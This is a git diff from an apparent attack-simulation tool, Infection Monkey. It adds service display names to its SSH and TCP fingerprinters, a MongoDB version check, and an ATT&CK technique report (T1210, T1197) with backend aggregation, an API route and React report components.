host.services[SMB_SERVICE]['os-version'] = os_version
|
||||
|
||||
return True
|
||||
except Exception as exc:
|
||||
LOG.debug("Error getting smb fingerprint: %s", exc)
|
||||
|
|
|
@ -14,6 +14,8 @@ LINUX_DIST_SSH = ['ubuntu', 'debian']
|
|||
|
||||
|
||||
class SSHFinger(HostFinger):
|
||||
_SCANNED_SERVICE = 'SSH'
|
||||
|
||||
def __init__(self):
|
||||
self._config = infection_monkey.config.WormConfiguration
|
||||
self._banner_regex = re.compile(SSH_REGEX, re.IGNORECASE)
|
||||
|
@ -38,12 +40,13 @@ class SSHFinger(HostFinger):
|
|||
banner = data.get('banner', '')
|
||||
if self._banner_regex.search(banner):
|
||||
self._banner_match(name, host, banner)
|
||||
host.services[SSH_SERVICE_DEFAULT]['display_name'] = self._SCANNED_SERVICE
|
||||
return
|
||||
|
||||
is_open, banner = check_tcp_port(host.ip_addr, SSH_PORT, TIMEOUT, True)
|
||||
|
||||
if is_open:
|
||||
host.services[SSH_SERVICE_DEFAULT] = {}
|
||||
self.init_service(host.services, SSH_SERVICE_DEFAULT, SSH_PORT)
|
||||
|
||||
if banner:
|
||||
host.services[SSH_SERVICE_DEFAULT]['banner'] = banner
|
||||
|
|
|
@ -11,6 +11,9 @@ BANNER_READ = 1024
|
|||
|
||||
|
||||
class TcpScanner(HostScanner, HostFinger):
|
||||
|
||||
_SCANNED_SERVICE = 'unknown(TCP)'
|
||||
|
||||
def __init__(self):
|
||||
self._config = infection_monkey.config.WormConfiguration
|
||||
|
||||
|
@ -33,7 +36,7 @@ class TcpScanner(HostScanner, HostFinger):
|
|||
self._config.tcp_scan_get_banner)
|
||||
for target_port, banner in izip_longest(ports, banners, fillvalue=None):
|
||||
service = tcp_port_to_service(target_port)
|
||||
host.services[service] = {}
|
||||
self.init_service(host.services, service, target_port)
|
||||
if banner:
|
||||
host.services[service]['banner'] = banner
|
||||
if only_one_port:
|
||||
|
|
|
@ -16,7 +16,7 @@ class AttackTelem(object):
|
|||
Default ATT&CK telemetry constructor
|
||||
:param technique: Technique ID. E.g. T111
|
||||
:param status: int from ScanStatus Enum
|
||||
:param data: Other data relevant to the attack technique
|
||||
:param data: Dictionary of other relevant info. E.g. {'brute_force_blocked': True}
|
||||
"""
|
||||
self.technique = technique
|
||||
self.result = status
|
||||
|
|
|
@ -14,5 +14,5 @@ class VictimHostTelem(AttackTelem):
|
|||
:param data: Other data relevant to the attack technique
|
||||
"""
|
||||
super(VictimHostTelem, self).__init__(technique, status, data)
|
||||
victim_host = {'hostname': machine.domain_name, 'ip': machine.ip_addr}
|
||||
victim_host = {'domain_name': machine.domain_name, 'ip_addr': machine.ip_addr}
|
||||
self.data.update({'machine': victim_host})
|
||||
|
|
|
@ -2,7 +2,7 @@ import os
|
|||
import sys
|
||||
import shutil
|
||||
import struct
|
||||
|
||||
import datetime
|
||||
from infection_monkey.config import WormConfiguration
|
||||
|
||||
|
||||
|
|
|
@ -33,8 +33,9 @@ from monkey_island.cc.services.database import Database
|
|||
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
||||
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
|
||||
from monkey_island.cc.resources.pba_file_upload import FileUpload
|
||||
from monkey_island.cc.resources.attack_telem import AttackTelem
|
||||
from monkey_island.cc.resources.attack_config import AttackConfiguration
|
||||
from monkey_island.cc.resources.attack.attack_telem import AttackTelem
|
||||
from monkey_island.cc.resources.attack.attack_config import AttackConfiguration
|
||||
from monkey_island.cc.resources.attack.attack_report import AttackReport
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
|
@ -133,6 +134,7 @@ def init_api_resources(api):
|
|||
api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/')
|
||||
api.add_resource(AttackConfiguration, '/api/attack')
|
||||
api.add_resource(AttackTelem, '/api/attack/<string:technique>')
|
||||
api.add_resource(AttackReport, '/api/attack/report')
|
||||
api.add_resource(VersionUpdate, '/api/version-update', '/api/version-update/')
|
||||
|
||||
|
||||
|
|
|
@ -25,3 +25,14 @@ def is_db_server_up(mongo_url):
|
|||
return True
|
||||
except ServerSelectionTimeoutError:
|
||||
return False
|
||||
|
||||
|
||||
def get_db_version(mongo_url):
|
||||
"""
|
||||
Return the mongo db version
|
||||
:param mongo_url: Which mongo to check.
|
||||
:return: version as a tuple (e.g. `(u'4', u'0', u'8')`)
|
||||
"""
|
||||
client = MongoClient(mongo_url, serverSelectionTimeoutMS=100)
|
||||
server_version = tuple(client.server_info()['version'].split('.'))
|
||||
return server_version
|
||||
|
|
|
@ -6,6 +6,8 @@ import sys
|
|||
import time
|
||||
import logging
|
||||
|
||||
MINIMUM_MONGO_DB_VERSION_REQUIRED = "3.6.0"
|
||||
|
||||
BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||
|
||||
if BASE_PATH not in sys.path:
|
||||
|
@ -22,7 +24,7 @@ from monkey_island.cc.app import init_app
|
|||
from monkey_island.cc.exporter_init import populate_exporter_list
|
||||
from monkey_island.cc.utils import local_ip_addresses
|
||||
from monkey_island.cc.environment.environment import env
|
||||
from monkey_island.cc.database import is_db_server_up
|
||||
from monkey_island.cc.database import is_db_server_up, get_db_version
|
||||
|
||||
|
||||
def main():
|
||||
|
@ -31,10 +33,8 @@ def main():
|
|||
from tornado.ioloop import IOLoop
|
||||
|
||||
mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url())
|
||||
|
||||
while not is_db_server_up(mongo_url):
|
||||
logger.info('Waiting for MongoDB server')
|
||||
time.sleep(1)
|
||||
wait_for_mongo_db_server(mongo_url)
|
||||
assert_mongo_db_version(mongo_url)
|
||||
|
||||
populate_exporter_list()
|
||||
app = init_app(mongo_url)
|
||||
|
@ -55,5 +55,27 @@ def main():
|
|||
IOLoop.instance().start()
|
||||
|
||||
|
||||
def wait_for_mongo_db_server(mongo_url):
|
||||
while not is_db_server_up(mongo_url):
|
||||
logger.info('Waiting for MongoDB server on {0}'.format(mongo_url))
|
||||
time.sleep(1)
|
||||
|
||||
|
||||
def assert_mongo_db_version(mongo_url):
|
||||
"""
|
||||
Checks if the mongodb version is new enough for running the app.
|
||||
If the DB is too old, quits.
|
||||
:param mongo_url: URL to the mongo the Island will use
|
||||
"""
|
||||
required_version = tuple(MINIMUM_MONGO_DB_VERSION_REQUIRED.split("."))
|
||||
server_version = get_db_version(mongo_url)
|
||||
if server_version < required_version:
|
||||
logger.error(
|
||||
'Mongo DB version too old. {0} is required, but got {1}'.format(str(required_version), str(server_version)))
|
||||
sys.exit(-1)
|
||||
else:
|
||||
logger.info('Mongo DB version OK. Got {0}'.format(str(server_version)))
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
|
|
|
@ -0,0 +1 @@
|
|||
__author__ = 'VakarisZ'
|
|
@ -0,0 +1,13 @@
|
|||
import flask_restful
|
||||
from flask import jsonify
|
||||
from monkey_island.cc.auth import jwt_required
|
||||
from monkey_island.cc.services.attack.attack_report import AttackReportService
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
|
||||
class AttackReport(flask_restful.Resource):
|
||||
|
||||
@jwt_required()
|
||||
def get(self):
|
||||
return jsonify(AttackReportService.get_latest_report()['techniques'])
|
|
@ -8,6 +8,7 @@ from monkey_island.cc.auth import jwt_required
|
|||
from monkey_island.cc.database import mongo
|
||||
from monkey_island.cc.services.node import NodeService
|
||||
from monkey_island.cc.services.report import ReportService
|
||||
from monkey_island.cc.services.attack.attack_report import AttackReportService
|
||||
from monkey_island.cc.utils import local_ip_addresses
|
||||
from monkey_island.cc.services.database import Database
|
||||
|
||||
|
@ -58,5 +59,7 @@ class Root(flask_restful.Resource):
|
|||
else:
|
||||
if is_any_exists:
|
||||
ReportService.get_report()
|
||||
AttackReportService.get_latest_report()
|
||||
report_done = ReportService.is_report_generated()
|
||||
return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done)
|
||||
return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done,
|
||||
report_done=report_done)
|
||||
|
|
|
@ -18,6 +18,20 @@ class AttackConfig(object):
|
|||
config = mongo.db.attack.find_one({'name': 'newconfig'})
|
||||
return config
|
||||
|
||||
@staticmethod
|
||||
def get_technique(technique_id):
|
||||
"""
|
||||
Gets technique by id
|
||||
:param technique_id: E.g. T1210
|
||||
:return: Technique object or None if technique is not found
|
||||
"""
|
||||
attack_config = AttackConfig.get_config()
|
||||
for key, attack_type in attack_config['properties'].items():
|
||||
for key, technique in attack_type['properties'].items():
|
||||
if key == technique_id:
|
||||
return technique
|
||||
return None
|
||||
|
||||
@staticmethod
|
||||
def get_config_schema():
|
||||
return SCHEMA
|
||||
|
|
|
@ -0,0 +1,59 @@
|
|||
import logging
|
||||
from monkey_island.cc.services.attack.technique_reports import T1210, T1197
|
||||
from monkey_island.cc.services.attack.attack_telem import AttackTelemService
|
||||
from monkey_island.cc.services.attack.attack_config import AttackConfig
|
||||
from monkey_island.cc.database import mongo
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
TECHNIQUES = {'T1210': T1210.T1210,
|
||||
'T1197': T1197.T1197}
|
||||
|
||||
REPORT_NAME = 'new_report'
|
||||
|
||||
|
||||
class AttackReportService:
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
@staticmethod
|
||||
def generate_new_report():
|
||||
"""
|
||||
Generates new report based on telemetries, replaces old report in db with new one.
|
||||
:return: Report object
|
||||
"""
|
||||
report = {'techniques': {}, 'meta': AttackTelemService.get_latest_telem(), 'name': REPORT_NAME}
|
||||
for tech_id, value in AttackConfig.get_technique_values().items():
|
||||
if value:
|
||||
try:
|
||||
report['techniques'].update({tech_id: TECHNIQUES[tech_id].get_report_data()})
|
||||
except KeyError as e:
|
||||
LOG.error("Attack technique does not have it's report component added "
|
||||
"to attack report service. %s" % e)
|
||||
mongo.db.attack_report.replace_one({'name': REPORT_NAME}, report, upsert=True)
|
||||
return report
|
||||
|
||||
@staticmethod
|
||||
def get_latest_report():
|
||||
"""
|
||||
Gets latest report (by retrieving it from db or generating a new one).
|
||||
:return: report dict.
|
||||
"""
|
||||
if AttackReportService.is_report_generated():
|
||||
telem_time = AttackTelemService.get_latest_telem()
|
||||
latest_report = mongo.db.attack_report.find_one({'name': REPORT_NAME})
|
||||
if telem_time and latest_report['meta'] and telem_time['time'] == latest_report['meta']['time']:
|
||||
return latest_report
|
||||
return AttackReportService.generate_new_report()
|
||||
|
||||
@staticmethod
|
||||
def is_report_generated():
|
||||
"""
|
||||
Checks if report is generated
|
||||
:return: True if report exists, False otherwise
|
||||
"""
|
||||
generated_report = mongo.db.attack_report.find_one({})
|
||||
return generated_report is not None
|
|
@ -75,7 +75,7 @@ SCHEMA = {
|
|||
"type": "object",
|
||||
"properties": {
|
||||
"T1197": {
|
||||
"title": "T1197 Bits jobs",
|
||||
"title": "T1197 BITS jobs",
|
||||
"type": "bool",
|
||||
"value": True,
|
||||
"necessary": True,
|
||||
|
|
|
@ -22,3 +22,9 @@ class AttackTelemService(object):
|
|||
"""
|
||||
data.update({'technique': technique})
|
||||
mongo.db.attack_results.insert(data)
|
||||
mongo.db.attack_results.update({'name': 'latest'}, {'name': 'latest', 'time': data['time']}, upsert=True)
|
||||
|
||||
|
||||
@staticmethod
|
||||
def get_latest_telem():
|
||||
return mongo.db.attack_results.find_one({'name': 'latest'})
|
||||
|
|
|
@ -0,0 +1,25 @@
|
|||
from monkey_island.cc.database import mongo
|
||||
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
|
||||
class T1197(AttackTechnique):
|
||||
tech_id = "T1197"
|
||||
unscanned_msg = "Monkey didn't try to use any bits jobs."
|
||||
scanned_msg = "Monkey tried to use bits jobs but failed."
|
||||
used_msg = "Monkey successfully used bits jobs at least once in the network."
|
||||
|
||||
@staticmethod
|
||||
def get_report_data():
|
||||
data = T1197.get_tech_base_data(T1197)
|
||||
bits_results = mongo.db.attack_results.aggregate([{'$match': {'technique': T1197.tech_id}},
|
||||
{'$group': {'_id': {'ip_addr': '$machine.ip_addr', 'usage': '$usage'},
|
||||
'ip_addr': {'$first': '$machine.ip_addr'},
|
||||
'domain_name': {'$first': '$machine.domain_name'},
|
||||
'usage': {'$first': '$usage'},
|
||||
'time': {'$first': '$time'}}
|
||||
}])
|
||||
bits_results = list(bits_results)
|
||||
data.update({'bits_jobs': bits_results})
|
||||
return data
|
|
@ -0,0 +1,54 @@
|
|||
from common.utils.attack_utils import ScanStatus
|
||||
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
|
||||
from monkey_island.cc.database import mongo
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
TECHNIQUE = "T1210"
|
||||
MESSAGES = {
|
||||
'unscanned': "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?",
|
||||
'scanned': "Monkey scanned for remote services on the network, but couldn't exploit any of them.",
|
||||
'used': "Monkey scanned for remote services and exploited some on the network."
|
||||
}
|
||||
|
||||
|
||||
class T1210(AttackTechnique):
|
||||
|
||||
tech_id = "T1210"
|
||||
unscanned_msg = "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?"
|
||||
scanned_msg = "Monkey scanned for remote services on the network, but couldn't exploit any of them."
|
||||
used_msg = "Monkey scanned for remote services and exploited some on the network."
|
||||
|
||||
@staticmethod
|
||||
def get_report_data():
|
||||
data = {'title': T1210.technique_title(TECHNIQUE)}
|
||||
scanned_services = T1210.get_scanned_services()
|
||||
exploited_services = T1210.get_exploited_services()
|
||||
if exploited_services:
|
||||
data.update({'status': ScanStatus.USED.name, 'message': T1210.used_msg})
|
||||
elif scanned_services:
|
||||
data.update({'status': ScanStatus.SCANNED.name, 'message': T1210.scanned_msg})
|
||||
else:
|
||||
data.update({'status': ScanStatus.UNSCANNED.name, 'message': T1210.unscanned_msg})
|
||||
data.update({'scanned_services': scanned_services, 'exploited_services': exploited_services})
|
||||
return data
|
||||
|
||||
@staticmethod
|
||||
def get_scanned_services():
|
||||
results = mongo.db.telemetry.aggregate([{'$match': {'telem_type': 'scan'}},
|
||||
{'$sort': {'data.service_count': -1}},
|
||||
{'$group': {
|
||||
'_id': {'ip_addr': '$data.machine.ip_addr'},
|
||||
'machine': {'$first': '$data.machine'},
|
||||
'time': {'$first': '$timestamp'}}}])
|
||||
return list(results)
|
||||
|
||||
@staticmethod
|
||||
def get_exploited_services():
|
||||
results = mongo.db.telemetry.aggregate([{'$match': {'telem_type': 'exploit', 'data.result': True}},
|
||||
{'$group': {
|
||||
'_id': {'ip_addr': '$data.machine.ip_addr'},
|
||||
'service': {'$first': '$data.info'},
|
||||
'machine': {'$first': '$data.machine'},
|
||||
'time': {'$first': '$timestamp'}}}])
|
||||
return list(results)
|
|
@ -0,0 +1,88 @@
|
|||
import abc
|
||||
|
||||
from monkey_island.cc.database import mongo
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from monkey_island.cc.services.attack.attack_config import AttackConfig
|
||||
from common.utils.code_utils import abstractstatic
|
||||
|
||||
|
||||
class AttackTechnique(object):
|
||||
""" Abstract class for ATT&CK report components """
|
||||
__metaclass__ = abc.ABCMeta
|
||||
|
||||
@abc.abstractproperty
|
||||
def unscanned_msg(self):
|
||||
"""
|
||||
:return: Message that will be displayed in case attack technique was not scanned.
|
||||
"""
|
||||
pass
|
||||
|
||||
@abc.abstractproperty
|
||||
def scanned_msg(self):
|
||||
"""
|
||||
:return: Message that will be displayed in case attack technique was scanned.
|
||||
"""
|
||||
pass
|
||||
|
||||
@abc.abstractproperty
|
||||
def used_msg(self):
|
||||
"""
|
||||
:return: Message that will be displayed in case attack technique was used by the scanner.
|
||||
"""
|
||||
pass
|
||||
|
||||
@abc.abstractproperty
|
||||
def tech_id(self):
|
||||
"""
|
||||
:return: Message that will be displayed in case of attack technique not being scanned.
|
||||
"""
|
||||
pass
|
||||
|
||||
@staticmethod
|
||||
@abstractstatic
|
||||
def get_report_data():
|
||||
"""
|
||||
:return: Report data aggregated from the database.
|
||||
"""
|
||||
pass
|
||||
|
||||
@staticmethod
|
||||
def technique_status(technique):
|
||||
"""
|
||||
Gets the status of a certain attack technique.
|
||||
:param technique: technique's id.
|
||||
:return: ScanStatus Enum object
|
||||
"""
|
||||
if mongo.db.attack_results.find_one({'status': ScanStatus.USED.value, 'technique': technique}):
|
||||
return ScanStatus.USED
|
||||
elif mongo.db.attack_results.find_one({'status': ScanStatus.SCANNED.value, 'technique': technique}):
|
||||
return ScanStatus.SCANNED
|
||||
else:
|
||||
return ScanStatus.UNSCANNED
|
||||
|
||||
@staticmethod
|
||||
def technique_title(technique):
|
||||
"""
|
||||
:param technique: Technique's id. E.g. T1110
|
||||
:return: techniques title. E.g. "T1110 Brute force"
|
||||
"""
|
||||
return AttackConfig.get_technique(technique)['title']
|
||||
|
||||
@staticmethod
|
||||
def get_tech_base_data(technique):
|
||||
"""
|
||||
Gathers basic attack technique data into a dict.
|
||||
:param technique: Technique's id. E.g. T1110
|
||||
:return: dict E.g. {'message': 'Brute force used', 'status': 'Used', 'title': 'T1110 Brute force'}
|
||||
"""
|
||||
data = {}
|
||||
status = AttackTechnique.technique_status(technique.tech_id)
|
||||
title = AttackTechnique.technique_title(technique.tech_id)
|
||||
data.update({'status': status.name, 'title': title})
|
||||
if status == ScanStatus.UNSCANNED:
|
||||
data.update({'message': technique.unscanned_msg})
|
||||
elif status == ScanStatus.SCANNED:
|
||||
data.update({'message': technique.scanned_msg})
|
||||
else:
|
||||
data.update({'message': technique.used_msg})
|
||||
return data
|
File diff suppressed because it is too large
Load Diff
|
@ -65,6 +65,8 @@
|
|||
"webpack-dev-server": "^3.1.9"
|
||||
},
|
||||
"dependencies": {
|
||||
"@kunukn/react-collapse": "^1.0.5",
|
||||
"classnames": "^2.2.6",
|
||||
"bootstrap": "3.4.1",
|
||||
"core-js": "^2.5.7",
|
||||
"downloadjs": "^1.4.7",
|
||||
|
|
|
@ -0,0 +1,57 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
|
||||
|
||||
class T1210 extends React.Component {
|
||||
|
||||
constructor(props) {
|
||||
super(props);
|
||||
this.columns = [ {Header: 'Machine',
|
||||
id: 'machine', accessor: x => T1210.renderMachine(x),
|
||||
style: { 'whiteSpace': 'unset' },
|
||||
width: 200},
|
||||
{Header: 'Time',
|
||||
id: 'time', accessor: x => x.time,
|
||||
style: { 'whiteSpace': 'unset' },
|
||||
width: 170},
|
||||
{Header: 'Usage',
|
||||
id: 'usage', accessor: x => x.usage,
|
||||
style: { 'whiteSpace': 'unset' }}
|
||||
]
|
||||
}
|
||||
|
||||
static renderMachine(val){
|
||||
return (
|
||||
<span>{val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}</span>
|
||||
)
|
||||
};
|
||||
|
||||
renderExploitedMachines(){
|
||||
if (this.props.data.bits_jobs.length === 0){
|
||||
return (<div />)
|
||||
} else {
|
||||
return (<ReactTable
|
||||
columns={this.columns}
|
||||
data={this.props.data.bits_jobs}
|
||||
showPagination={false}
|
||||
defaultPageSize={this.props.data.bits_jobs.length}
|
||||
/>)
|
||||
}
|
||||
}
|
||||
|
||||
render() {
|
||||
return (
|
||||
<div className="data-table-container">
|
||||
<div>
|
||||
<div>{this.props.data.message}</div>
|
||||
{this.props.data.bits_jobs.length > 0 ? <div>BITS jobs were used in these machines: </div> : ''}
|
||||
</div>
|
||||
<br/>
|
||||
{this.renderExploitedMachines()}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default T1210;
|
|
@ -0,0 +1,100 @@
|
|||
import React from 'react';
|
||||
import '../../../styles/Collapse.scss'
|
||||
import ReactTable from "react-table";
|
||||
|
||||
|
||||
class T1210 extends React.Component {
|
||||
|
||||
constructor(props) {
|
||||
super(props);
|
||||
}
|
||||
|
||||
static getScanColumns() {
|
||||
return ([{
|
||||
columns: [
|
||||
{Header: 'Machine', id: 'machine', accessor: x => this.renderMachine(x.machine),
|
||||
style: { 'whiteSpace': 'unset' }, width: 200},
|
||||
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170},
|
||||
{Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }}
|
||||
]
|
||||
}])}
|
||||
|
||||
static getExploitColumns() {
|
||||
return ([{
|
||||
columns: [
|
||||
{Header: 'Machine', id: 'machine', accessor: x => this.renderMachine(x.machine),
|
||||
style: { 'whiteSpace': 'unset' }, width: 200},
|
||||
{Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }, width: 170},
|
||||
{Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' }},
|
||||
{Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }}
|
||||
]
|
||||
}])};
|
||||
|
||||
static renderMachine(val){
|
||||
return (
|
||||
<span>{val.ip_addr} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}</span>
|
||||
)
|
||||
};
|
||||
|
||||
static renderEndpoint(val){
|
||||
return (
|
||||
<span>{(val.vulnerable_urls.length !== 0 ? val.vulnerable_urls[0] : val.vulnerable_ports[0])}</span>
|
||||
)
|
||||
};
|
||||
|
||||
static formatScanned(data){
|
||||
let result = [];
|
||||
for(let service in data.machine.services){
|
||||
let scanned_service = {'machine': data.machine,
|
||||
'time': data.time,
|
||||
'service': {'port': [data.machine.services[service].port],
|
||||
'display_name': data.machine.services[service].display_name}};
|
||||
result.push(scanned_service)
|
||||
}
|
||||
return result
|
||||
};
|
||||
|
||||
renderScannedServices(data) {
|
||||
return (
|
||||
<div>
|
||||
<br/>
|
||||
<div>Found services: </div>
|
||||
<ReactTable
|
||||
columns={T1210.getScanColumns()}
|
||||
data={data}
|
||||
showPagination={false}
|
||||
defaultPageSize={data.length}
|
||||
/>
|
||||
</div>)
|
||||
}
|
||||
|
||||
renderExploitedServices(data) {
|
||||
return (
|
||||
<div>
|
||||
<br/>
|
||||
<div>Exploited services: </div>
|
||||
<ReactTable
|
||||
columns={T1210.getExploitColumns()}
|
||||
data={data}
|
||||
showPagination={false}
|
||||
defaultPageSize={data.length}
|
||||
/>
|
||||
</div>)
|
||||
}
|
||||
|
||||
render() {
|
||||
let scanned_services = this.props.data.scanned_services.map(T1210.formatScanned).flat();
|
||||
return (
|
||||
<div>
|
||||
<div>{this.props.data.message}</div>
|
||||
{scanned_services.length > 0 ?
|
||||
this.renderScannedServices(scanned_services) : ''}
|
||||
{this.props.data.exploited_services.length > 0 ?
|
||||
this.renderExploitedServices(this.props.data.exploited_services) : ''}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
export default T1210;
|
|
@ -11,6 +11,7 @@ import {Line} from 'rc-progress';
|
|||
import AuthComponent from '../AuthComponent';
|
||||
import PassTheHashMapPageComponent from "./PassTheHashMapPage";
|
||||
import StrongUsers from "components/report-components/StrongUsers";
|
||||
import AttackReport from "components/report-components/AttackReport";
|
||||
|
||||
let guardicoreLogoImage = require('../../images/guardicore-logo.png');
|
||||
let monkeyLogoImage = require('../../images/monkey-icon.svg');
|
||||
|
@ -141,6 +142,7 @@ class ReportPageComponent extends AuthComponent {
|
|||
{this.generateReportFindingsSection()}
|
||||
{this.generateReportRecommendationsSection()}
|
||||
{this.generateReportGlanceSection()}
|
||||
{this.generateAttackSection()}
|
||||
{this.generateReportFooter()}
|
||||
</div>
|
||||
<div className="text-center no-print" style={{marginTop: '20px'}}>
|
||||
|
@ -509,6 +511,21 @@ class ReportPageComponent extends AuthComponent {
|
|||
);
|
||||
}
|
||||
|
||||
generateAttackSection() {
|
||||
return (<div id="attack">
|
||||
<h3>
|
||||
ATT&CK report
|
||||
</h3>
|
||||
<p>
|
||||
This report shows information about ATT&CK techniques used by Infection Monkey.
|
||||
</p>
|
||||
<div>
|
||||
<AttackReport/>
|
||||
</div>
|
||||
<br />
|
||||
</div>)
|
||||
}
|
||||
|
||||
generateReportFooter() {
|
||||
return (
|
||||
<div id="footer" className="text-center" style={{marginTop: '20px'}}>
|
||||
|
|
|
@ -0,0 +1,157 @@
|
|||
import React from 'react';
|
||||
import {Col} from 'react-bootstrap';
|
||||
import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph';
|
||||
import {edgeGroupToColor, options} from 'components/map/MapOptions';
|
||||
import AuthComponent from '../AuthComponent';
|
||||
import Collapse from '@kunukn/react-collapse';
|
||||
import T1210 from '../attack/techniques/T1210';
|
||||
import T1197 from '../attack/techniques/T1197';
|
||||
import '../../styles/Collapse.scss'
|
||||
|
||||
const tech_components = {
|
||||
'T1210': T1210,
|
||||
'T1197': T1197
|
||||
};
|
||||
|
||||
const classNames = require('classnames');
|
||||
|
||||
class AttackReportPageComponent extends AuthComponent {
|
||||
|
||||
constructor(props) {
|
||||
super(props);
|
||||
this.state = {
|
||||
report: false,
|
||||
allMonkeysAreDead: false,
|
||||
runStarted: true,
|
||||
collapseOpen: ''
|
||||
};
|
||||
}
|
||||
|
||||
componentDidMount() {
|
||||
this.updateMonkeysRunning().then(res => this.getReportFromServer(res));
|
||||
}
|
||||
|
||||
updateMonkeysRunning = () => {
|
||||
return this.authFetch('/api')
|
||||
.then(res => res.json())
|
||||
.then(res => {
|
||||
// This check is used to prevent unnecessary re-rendering
|
||||
this.setState({
|
||||
allMonkeysAreDead: (!res['completed_steps']['run_monkey']) || (res['completed_steps']['infection_done']),
|
||||
runStarted: res['completed_steps']['run_monkey']
|
||||
});
|
||||
return res;
|
||||
});
|
||||
};
|
||||
|
||||
getReportFromServer(res) {
|
||||
if (res['completed_steps']['run_monkey']) {
|
||||
this.authFetch('/api/attack/report')
|
||||
.then(res => res.json())
|
||||
.then(res => {
|
||||
this.setState({
|
||||
report: res
|
||||
});
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
onToggle = technique =>
|
||||
this.setState(state => ({ collapseOpen: state.collapseOpen === technique ? null : technique }));
|
||||
|
||||
getComponentClass(tech_id){
|
||||
switch (this.state.report[tech_id].status) {
|
||||
case 'SCANNED':
|
||||
return 'collapse-info';
|
||||
case 'USED':
|
||||
return 'collapse-danger';
|
||||
default:
|
||||
return 'collapse-default';
|
||||
}
|
||||
}
|
||||
|
||||
getTechniqueCollapse(tech_id){
|
||||
return (
|
||||
<div key={tech_id} className={classNames("collapse-item", { "item--active": this.state.collapseOpen === tech_id })}>
|
||||
<button className={classNames("btn-collapse", this.getComponentClass(tech_id))} onClick={() => this.onToggle(tech_id)}>
|
||||
<span>{this.state.report[tech_id].title}</span>
|
||||
<span>
|
||||
<i className={classNames("fa", this.state.collapseOpen === tech_id ? "fa-chevron-down" : "fa-chevron-up")}></i>
|
||||
</span>
|
||||
</button>
|
||||
<Collapse
|
||||
className="collapse-comp"
|
||||
isOpen={this.state.collapseOpen === tech_id}
|
||||
onChange={({ collapseState }) => {
|
||||
this.setState({ tech_id: collapseState });
|
||||
}}
|
||||
onInit={({ collapseState }) => {
|
||||
this.setState({ tech_id: collapseState });
|
||||
}}
|
||||
render={collapseState => this.createTechniqueContent(collapseState, tech_id)}/>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
createTechniqueContent(collapseState, technique) {
|
||||
const TechniqueComponent = tech_components[technique];
|
||||
return (
|
||||
<div className={`content ${collapseState}`}>
|
||||
<TechniqueComponent data={this.state.report[technique]} />
|
||||
</div>
|
||||
);
|
||||
}
|
||||
|
||||
renderLegend() {
|
||||
return( <div id="header" className="row justify-content-between attack-legend">
|
||||
<Col xs={4}>
|
||||
<i className="fa fa-circle icon-default"></i>
|
||||
<span> - Unscanned</span>
|
||||
</Col>
|
||||
<Col xs={4}>
|
||||
<i className="fa fa-circle icon-info"></i>
|
||||
<span> - Scanned</span>
|
||||
</Col>
|
||||
<Col xs={4}>
|
||||
<i className="fa fa-circle icon-danger"></i>
|
||||
<span> - Used</span>
|
||||
</Col>
|
||||
</div>)
|
||||
}
|
||||
|
||||
generateReportContent(){
|
||||
let content = [];
|
||||
Object.keys(this.state.report).forEach((tech_id) => {
|
||||
content.push(this.getTechniqueCollapse(tech_id))
|
||||
});
|
||||
return (
|
||||
<div>
|
||||
{this.renderLegend()}
|
||||
<section className="app">{content}</section>
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
render() {
|
||||
let content;
|
||||
if (! this.state.runStarted)
|
||||
{
|
||||
content =
|
||||
<p className="alert alert-warning">
|
||||
<i className="glyphicon glyphicon-warning-sign" style={{'marginRight': '5px'}}/>
|
||||
You have to run a monkey before generating a report!
|
||||
</p>;
|
||||
} else if (this.state.report === false){
|
||||
content = (<h1>Generating Report...</h1>);
|
||||
} else if (Object.keys(this.state.report).length === 0) {
|
||||
if (this.state.runStarted) {
|
||||
content = (<h1>No techniques were scanned</h1>);
|
||||
}
|
||||
} else {
|
||||
content = this.generateReportContent();
|
||||
}
|
||||
return ( <div> {content} </div> );
|
||||
}
|
||||
}
|
||||
|
||||
export default AttackReportPageComponent;
|
|
@ -520,11 +520,27 @@ body {
|
|||
|
||||
}
|
||||
|
||||
/* Attack config page */
|
||||
/* Attack pages */
|
||||
.attack-matrix .messages {
|
||||
margin-bottom: 30px;
|
||||
}
|
||||
|
||||
.icon-info {
|
||||
color: #ade3eb !important;
|
||||
}
|
||||
|
||||
.icon-warning {
|
||||
